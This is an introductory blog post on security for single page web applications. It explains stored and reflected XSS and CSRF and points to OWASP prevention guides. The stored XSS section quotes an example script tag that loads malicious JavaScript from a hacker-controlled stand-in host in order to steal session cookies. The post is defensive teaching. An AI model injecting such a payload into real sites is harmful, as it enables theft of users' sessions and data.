Security Measures for Your Single Page Application

Building a secured application is always a puzzle for many of us. This is so true when you  need to secure a Single Page Java Web application where many things are happening on the browser which is not in your control.  This post discusses this problem along with some of the popular preventive measures available today to secure your  single page web application.

What is Single Page Application?

In earlier days web browsers were not  really powerful as we see them today.  We used to build web applications by moving most of the processing logic to the server, leaving browser as a simple mean to render the DOM returned by server. Simple user action like clicking a button, scrolling page were all handled on server. Over a period browsers became more rich in terms of functionalities and we have witnessed JavaScript emerging as powerful scripting language.

A single-page application (SPA) is a web application that interacts with the user by dynamically rewriting the current page rather than loading entire new pages from a server. In other words,  a single page application  makes use of modern browser capabilities and responds to user actions such as clicking a button,  navigating to new page etc according to the logic defined in the JavaScript running on the browser.  Let us go ahead and  take a look at some of the common security attacks and some preventive measures for them.

Common Security Attacks

The security attacks discussed in this section are not really unique to SPA, rather they are applicable for any web application per se. However SPAs are more vulnerable to attack as major portion  of the UI code is running on browser leaving all traces of user actions and server interactions on the browser running on end-user's machine.

Cross site scripting (XSS)

Cross site scripting (XSS) is a very common attack that injects malicious code into a vulnerable web application. There are two categories of XSS attacks:

Stored or Persistent XSS

Stored or Persistent XSS attacks happen when an application takes user input without validating the contents and save it on server database. Later when user navigates to a page which displays the user input from previous page, server retrieves this data from database and embeds the content in HTML DOM without proper HTML escaping.
For example, consider a  page with a field that allows user to add comments. If there is no proper validation for this field, a hacker may try adding HTML script tags as value for this field. This can be link to malicious JavaScript file from a server owned by hacker as shown here:  <script src=”http://some-server.com/malicious-script.js”> </script>  Web app fails to prevent such input, and stores it as value for comment field. When the application displays this comment later, the browser parses the JavaScript tag that was added as value for comment and any  regular HTML tag. This malicious script can harm the user in many ways. For instance, the script can contain code to POST customer data such as session cookie, unsecured access token etc to a REST API owned by hacker. A hacker can use this information later for hacking the user account.

Reflective XSS

In the case of reflective XSS, the malicious script is injected by appending to the URL.  Let us take  an example to get more clear picture. Suppose a hacker is visiting a site , for e.g: www.jobinesh.com.  As next  hacker may try appending some arbitrary parameter value to URL and if the site responds back with parameter typed as is without properly escaping it, then this site may be vulnerable for reflective XSS attack.  Here is an example: https://www.owasp.org/index.php/Testing_for_Reflected_Cross_site_scripting_(OTG-INPVAL-001)

You can learn more about XSS here: https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
Here are some options to prevent XSS: https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet


Cross-Site Request Forgery (CSRF)

Cross site request forgery (CSRF),  is an attack that steals the current user's logged-in session from browser(via Session Cookie)  and uses that stolen session to execute unwanted action in an application to which a user is logged in.

You can learn more about CSRF here: https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)
To learn on preventive measures, visit the following link:  https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet